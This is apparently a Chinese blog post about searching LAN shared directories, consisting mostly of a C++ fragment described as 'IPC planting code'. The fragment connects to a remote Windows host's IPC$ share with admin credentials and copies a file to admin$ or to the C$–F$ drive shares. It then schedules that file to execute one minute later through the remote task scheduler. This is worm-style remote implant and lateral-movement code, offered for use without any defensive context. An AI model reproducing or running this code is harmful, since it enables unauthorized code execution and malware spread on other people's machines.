搜索局域网的共享目录

代码一是无花果大哥很早前写的,还有网上这段IPC种植代码.应该对你有帮助.
;
  wsprintf(buf,"%s//ipc$",host);
  ZeroMemory(&ns,sizeof(ns));
  ns.dwScope=RESOURCE_GLOBALNET;
  ns.dwType=RESOURCETYPE_ANY;
  ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;
  ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;
  ns.lpLocalName="";
  ns.lpRemoteName=buf;
  ns.lpProvider=NULL;
  ns.lpComment=NULL;
  CString hhost = host;
  IpcConnect =WNetAddConnection2(&ns,pass,admin,0);
///建立IPC连接
  if(IpcConnect)
  {
//连接成功后
///连接成功上传文件//
    RemoteFilePath=(""+host+"//admin$//"+filename);
    IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
//复制文件到admin$(winnt) 如果复制失败,,向其他共享区复制
      if(!IpcConnect)
        {
          RemoteFilePath=(""+host+"//C$//"+filename);
          CmdCom="C://"+filename;
          IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
            if(!IpcConnect)
            {
               RemoteFilePath=(""+host+"//D$//"+filename);
               CmdCom="D://"+filename;
               IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
           if(!IpcConnect)
                  {
                     RemoteFilePath=(""+host+"//E$//"+filename);
                     CmdCom="E://"+filename;
                     IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
                     if(!IpcConnect)
                       {
                        RemoteFilePath (""+host+"//F$//"+filename);
                        CmdCom = "F://"+filename;
                     IpcConnect = CopyFile(localfilepath,RemoteFilePath,FALSE);
                       }
                  }
              }
         }
///得到远程主机时间///
         if(IpcConnect)
         {//获取远程主机时间
           Status=NetRemoteTOD(host.AllocSysString(),(LPBYTE *)&TimeBuf);
            if(Status==NERR_Success)
            {//活取时间成功
///启动目标文件///
              DWORD day=1,JobTime;
              AT_INFO ai;
              day=day*2;
              ai.Command=CmdCom.AllocSysString();
              ai.DaysOfMonth=day;
              ai.DaysOfWeek=0;
              ai.Flags=JOB_NONINTERACTIVE;
              ai.JobTime=((TimeBuf->tod_hours+(-TimeBuf->tod_timezone)/60)%24)*60*60*1000+(TimeBuf->tod_mins+1)*60*1000;
              Status=NetScheduleJobAdd(hhost.AllocSysString(),(LPBYTE)&ai,&JobTime);
              //启动上传的文件,一分钟后启动
              if(Status==NERR_Success)
              {
                list->AddString(host+"启动成功");
              }
              else
                list->AddString(host+"启动失败");
              }
          else
            {
             list->AddString(host+"获取时间失败");
            }
         }
         else
         {
          list->AddString(host+"复制文件失败");
         }
    }
    else
    list->AddString(host+"连接失败");
return TRUE;
}
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值